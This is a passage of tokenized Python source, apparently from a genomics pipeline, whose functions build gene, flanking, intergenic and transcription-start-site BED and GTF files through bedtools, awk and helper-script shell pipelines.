"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "add", "Missing", "Non", "codi", "ng", "Transcript", "s_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "tab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "nonc", "odi", "ng", "Gt", "f", "To", "Tab_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Copy", " ", "replicate", "d", " ", "Bed", " ", "files", " ", "generat", "ed", " ", "by", " ", "caps", "eq", " ", "pip", "line", " ", "to", " ", "gene", "set", "-", "specific", " ", "output", " ", "director", "y", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2t", "sv", ".", "py", " ", "-", "f", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "|", " ", "aw", "k", " ", "'{", "if", " ", "(", "NR", "==", "1", ")", " ", "{", "print", " ", "$", "0", "\"\\\\\\\\", "tge", "ne", "\\u", "biot", "ype", "\\\\\\\\", "tge", "ne", "\\u", "name", "\"}", " ", "else", " ", "{", "print", " ", "$", "0", "\"\\\\\\\\", "tno", "nco", "ding", "\\\\\\\\", "tun", "know", "n", "\"}}", "'", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "follow", "s_", "(_", "transcri", "pt", "Gt", "f", "To", "Tab_", ",_", "nonc", "odi", "ng", "Gt", "f", "To", "Tab_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "merge_", "(_", "\"*", ".", "tab", "\"_", ",_", "\"", "transcri", "pt", "\\u", "info", ".", "tab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "merge", "Transcript", "Info_", "(_", "infiles", "_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Copy", " ", "replicate", "d", " ", "Bed", " ", "files", " ", "generat", "ed", " ", "by", " ", "caps", "eq", " ", "pip", "line", " ", "to", " ", "gene", "set", "-", "specific", " ", "output", " ", "director", "y", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inli", "st_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "infiles", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "inli", "st", ")", "s", " ", "|", " ", "aw", "k", " ", "'{", "if", " ", "(", "NR", "==", "1", " ", "||", " ", "$", "1", " ", "!=", " ", "\"", "conti", "g", "\")", " ", "{", "print", " ", "$", "0", "}}", "'", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "merge", "Transcript", "Info_", ",_", "suffix_", "(_", "\".", "tab", "\"_", ")_", ",_", "\".", "tab", ".", "load", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "load", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "load", " ", "GT", "F", " ", "file", " ", "int", "o", " ", "databa", "se", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "\"", "conti", "g", ",", "source", ",", "feature", ",", "start", ",", "end", ",", "score", ",", "strand", ",", "frame", ",", "gene", "\\u", "id", ",", "transcri", "pt", "\\u", "id", ",", "gene", "\\u", "biot", "ype", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "python", " ", "~", "/", "src", "/", "csv", "2d", "b", ".", "py", " ", "\\", "10", ";", " ", " ", " ", "--", "databa", "se", "=", "%", "(", "databa", "se", ")", "s", "\\", "10", ";", " ", " ", " ", "--", "table", "=", "transcri", "pt", "\\u", "info", "\\", "10", ";", " ", " ", " ", "--", "index", "=", "gene", "\\u", "id", "\\", "10", ";", " ", " ", " ", "--", "index", "=", "conti", "g", ",", "start", "\\", "10", ";", " ", " ", " ", "--", "index", "=", "transcri", "pt", "\\u", "id", "\\", "10", ";", " ", " ", " ", " ", " ", ">", " ", "%", "(", "outfile", ")", "s", ";", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "follow", "s_", "(_", "mkdir_", "(_", "\"", "gene", "set", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "transform_", "(_", "get", "Ens", "embl", "Codi", "ng", "Genes", "et_", ",_", "regex_", "(_", "r", "\"(", "\\\\", "S", "+)", ".", "codi", "ng", ".", "gtf", "\"_", ")_", ",_", "r", "\"", "gene", "set", "/\\\\", "1", ".", "gene", "s", ".", "bed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Gene", "Intervals", "_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Merge", " ", "all", " ", "transcripts", " ", "per", " ", "gene", " ", "(", "inclu", "ding", " ", "utr", ")", " ", "to", " ", "get", " ", "start", " ", "and", " ", "stop", " ", "\\", "10", ";", " ", " ", " ", " ", "coordinate", "s", " ", "for", " ", "every", " ", "prote", "in", "-", "codi", "ng", " ", "gene", " ", "and", " ", "store", " ", "in", " ", "a", " ", "GT", "F", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "genes_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "gene", "s", "\\u", "gtf", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "ensembl", "\\u", "gene", "s", ")", "s", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "merge", "Bed", " ", "-", "i", " ", "std", "in", " ", "-", "s", " ", "-", "n", " ", "\\", "10", ";", " ", "|", " ", "aw", "k", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "$", "1", ",", "$", "2", ",", "$", "3", ",\"", "gene", "\"", "NR", ",", "$", "4", ",", "$", "5", " ", "}'", "\\", "10", ";", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", "\\", "10", ";", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k2", ",", "2n", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "build", "Gene", "Intervals", "_", ",_", "regex_", "(_", "r", "\"", "gene", "set", "/(", "\\\\", "S", "+)", ".", "gene", "s", ".", "bed", "\"_", ")_", ",_", "r", "\"", "gene", "set", "/", "gene", "s", ".", "bed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "annot", "ate", "Gene", "Intervals", "_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Add", " ", "ensembl", " ", "gene", " ", "id", " ", "to", " ", "GT", "F", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "genes_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "gene", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", "|", " ", "intersect", "Bed", " ", "-", "a", " ", "std", "in", " ", "-", "b", " ", "%", "(", "ensembl", "\\u", "gene", "s", ")", "s", " ", "-", "wa", " ", "-", "wb", " ", "-", "s", " ", "\\", "10", ";", " ", "|", " ", "aw", "k", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "$", "1", ",", "$", "2", ",", "$", "3", ",", "$", "10", ",", "$", "5", ",", "$", "6", "}'", " ", "\\", "10", ";", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k2", ",", "2n", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "annot", "ate", "Gene", "Intervals", "_", ",_", "regex_", "(_", "PARAMS_", "[_", "'", "interface", "\\u", "geni", "c\\u", "bed", "'_", "]_", ")_", ",_", "PARAMS_", "[_", "'", "interface", "\\u", "ups", "tream", "\\u", "flan", "k", "\\u", "bed", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Ups", "tream", "Fla", "nk", "Bed", "_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "build", " ", "interval", " ", "ups", "tream", " ", "of", " ", "gene", " ", "start", " ", "for", " ", "each", " ", "entry", " ", "in", " ", "bed", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "window_", "=_", "PARAMS_", "[_", "\"", "gene", "set\\u", "flan", "k", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fai", "dx_", "=_", "PARAMS_", "[_", "\"", "fai", "dx", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "flan", "k", "Bed", " ", "-", "i", " ", "%", "(", "infile", ")", "s", " ", "-", "g", " ", "%", "(", "fai", "dx", ")", "s", " ", "-", "l", " ", "%", "(", "window", ")", "s", " ", "-", "r", " ", "0", " ", "-", "s", " ", "\\", "10", ";", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "annot", "ate", "Gene", "Intervals", "_", ",_", "regex_", "(_", "PARAMS_", "[_", "'", "interface", "\\u", "geni", "c\\u", "bed", "'_", "]_", ")_", ",_", "PARAMS_", "[_", "'", "interface", "\\u", "downstream", "\\u", "flan", "k", "\\u", "bed", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Down", "stream", "Fla", "nk", "Bed", "_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "build", " ", "interval", " ", "downstream", " ", "of", " ", "gene", " ", "start", " ", "for", " ", "each", " ", "entry", " ", "in", " ", "bed", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "window_", "=_", "PARAMS_", "[_", "\"", "gene", "set\\u", "flan", "k", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fai", "dx_", "=_", "PARAMS_", "[_", "\"", "fai", "dx", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "flan", "k", "Bed", " ", "-", "i", " ", "%", "(", "infile", ")", "s", " ", "-", "g", " ", "%", "(", "fai", "dx", ")", "s", " ", "-", "l", " ", "0", " ", "-", "r", " ", "%", "(", "window", ")", "s", " ", "-", "s", " ", "\\", "10", ";", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "merge_", "(_", "(_", "annot", "ate", "Gene", "Intervals", "_", ",_", "build", "Ups", "tream", "Fla", "nk", "Bed", "_", ",_", "build", "Down", "stream", "Fla", "nk", "Bed", "_", ")_", ",_", "os_", "._", "path_", "._", "join_", "(_", "\"", "gene", "set", "\"_", ",_", "PARAMS_", "[_", "'", "interface", "\\u", "inter", "geni", "c\\u", "bed", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Inter", "geni", "c", "Bed", "_", "(_", "infiles", "_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Geno", "mic", " ", "regions", " ", "not", " ", "associate", "d", " ", "with", " ", "any", " ", "other", " ", "features", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inli", "st_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "infiles", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "inli", "st", ")", "s", " ", "|", " ", "complement", "Bed", " ", "-", "i", " ", "std", "in", " ", "-", "g", " ", "%", "(", "fai", "dx", ")", "s", " ", "\\", "10", ";", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "(_", "annot", "ate", "Gene", "Intervals", "_", ",_", "build", "Ups", "tream", "Fla", "nk", "Bed", "_", ",_", "build", "Down", "stream", "Fla", "nk", "Bed", "_", ",_", "build", "Inter", "geni", "c", "Bed", "_", ")_", ",_", "suffix_", "(_", "\".", "bed", "\"_", ")_", ",_", "\".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "convert", "Bed", "To", "Gt", "f_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "convert", " ", "bed", " ", "files", " ", "to", " ", "GT", "F", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2g", "ff", ".", "py", " ", "--", "as", "-", "gtf", " ", "|", " ", "grep", " ", "-", "v", " ", "\"#", "\"", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "add", "Missing", "Ens", "embl", "Transcript", "s_", ",_", "regex_", "(_", "r", "\"", "all", "\\u", "transcripts", ".", "gtf", "\"_", ")_", ",_", "os_", "._", "path_", "._", "join_", "(_", "\"", "gene", "set", "\"_", ",_", "PARAMS_", "[_", "\"", "interface", "\\u", "tss", "\\u", "bed", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Transcript", "TS", "S_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "annot", "ate", " ", "transcription", " ", "start", " ", "sites", " ", "from", " ", "reference", " ", "gene", " ", "set", ".", "\\", "10", ";", " ", " ", " ", " ", "Simil", "ar", " ", "to", " ", "promo", "tors", ",", " ", "except", " ", "tha", "t", " ", "the", " ", "wit", "dth", " ", "is", " ", "set", " ", "to", " ", "1", ".", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "cat", " ", "<", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2g", "ff", ".", "py", " ", "--", "sanitize", "=", "geno", "me", " ", "--", "skip", "-", "missi", "ng", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2g", "ff", ".", "py", " ", "--", "method", "=", "promo", "tors", " ", "--", "promo", "tor", "=", "1", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2b", "ed", ".", "py", " ", "--", "is", "-", "gtf", " ", "--", "name", "=", "transcri", "pt", "\\u", "id", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "gzip", "\\", "10", ";", " ", " ", " ", " ", ">", " ", "%", "(", "outfile", ")", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "follow", "s_", "(_", "convert", "Bed", "To", "Gt", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "files_", "(_", "\"", "gene", "set", "/", "gene", "s", ".", "gtf", "\"_", ",_", "os_", "._", "path_", "._", "join_", "(_", "\"", "gene", "set", "\"_", ",_", "PARAMS_", "[_", "\"", "interface", "\\u", "tss", "\\u", "gene", "\\u", "bed", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Gene", "TS", "S_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "create", " ", "a", " ", "single", " ", "TS", "S", " ", "for", " ", "each", " ", "gene", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "cat", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2g", "ff", ".", "py", " ", "--", "sanitize", "=", "geno", "me", " ", "--", "skip", "-", "missi", "ng", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2g", "ff", ".", "py", " ", "--", "method", "=", "promo", "tors", " ", "--", "promo", "tor", "=", "1", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2b", "ed", ".", "py", " ", "--", "is", "-", "gtf", " ", "--", "name", "=", "gene", "\\u", "id", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "gzip", "\\", "10", ";", " ", " ", " ", " ", ">", " ", "%", "(", "outfile", ")", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "add", "Missing", "Ens", "embl", "Transcript", "s_", ",_", "regex_", "(_", "r", "\"", "all", "\\u", "transcripts", ".", "gtf", "\"_", ")_", ",_", "os_", "._", "path_", "._", "join_", "(_", "\"", "gene", "set", "\"_", ",_", "PARAMS_", "[_", "\"", "interface", "\\u", "tss", "\\u", "gene", "\\u", "interval", "\\u", "bed", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Gene", "TS", "SI", "nter", "val_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "create", " ", "a", " ", "single", " ", "interval", " ", "tha", "t", " ", "enco", "mpa", "sses", " ", "all", " ", "annotated", " ", "TS", "Ss", " ", "for", " ", "a", " ", "give", "n", " ", "gene", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "cat", " ", "<", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2g", "ff", ".", "py", " ", "--", "sanitize", "=", "geno", "me", " ", "--", "skip", "-", "missi", "ng", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2g", "ff", ".", "py", " ", "--", "method", "=", "promo", "tors", " ", "--", "promo", "tor", "=", "1", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "sed", " ", "s", "/\\\\\\\\", "\\\\\\\\", "ttr", "ans", "cript", "\\\\\\\\\\\\\\\\", "t", "/\\\\\\\\", "\\\\\\\\", "tex", "on", "\\\\\\\\\\\\\\\\", "t", "/", "g", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2g", "tf", ".", "py", " ", "--", "merge", "-", "transcripts", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2b", "ed", ".", "py", " ", "--", "is", "-", "gtf", " ", "--", "name", "=", "transcri", "pt", "\\u", "id", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "bed", "2b", "ed", ".", "py", " ", "--", "method", "=", "filter", "-", "geno", "me", " ", "--", "geno", "me", "-", "file", "=", "%", "(", "geno", "me", "\\u", "dir", ")", "s", "/", "%", "(", "geno", "me", ")", "s", " ", "--", "log", " ", "%", "(", "outfile", ")", "s", ".", "log", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "gzip", "\\", "10", ";", " ", " ", " ", " ", ">", " ", "%", "(", "outfile", ")", "s", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "add", "Missing", "Non", "codi", "ng", "Transcript", "s_", ",_", "regex_", "(_", "r", "\"(", "\\\\", "S", "+)", ".", "gtf", "\"_", ")_", ",_", "os_", "._", "path_", "._", "join_", "(_", "\"", "gene", "set", "\"_", ",_", "PARAMS_", "[_", "\"", "interface", "\\u", "tss", "\\u", "gene", "\\u", "nonc", "odi", "ng", "\\u", "bed", "\"_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "build", "Non", "codi", "ng", "Gene", "TS", "S_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Assign", " ", "a", " ", "TS", "S", " ", "for", " ", "each", " ", "non", "-", "codi", "ng", " ", "gene", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "cat", " ", "<", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", " ", " ", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gff", "2g", "ff", ".", "py", " ", "--", "sanitize", "=", "geno", "me", " ", "--", "skip", "-", "missi", "ng", " ", "--", "geno", 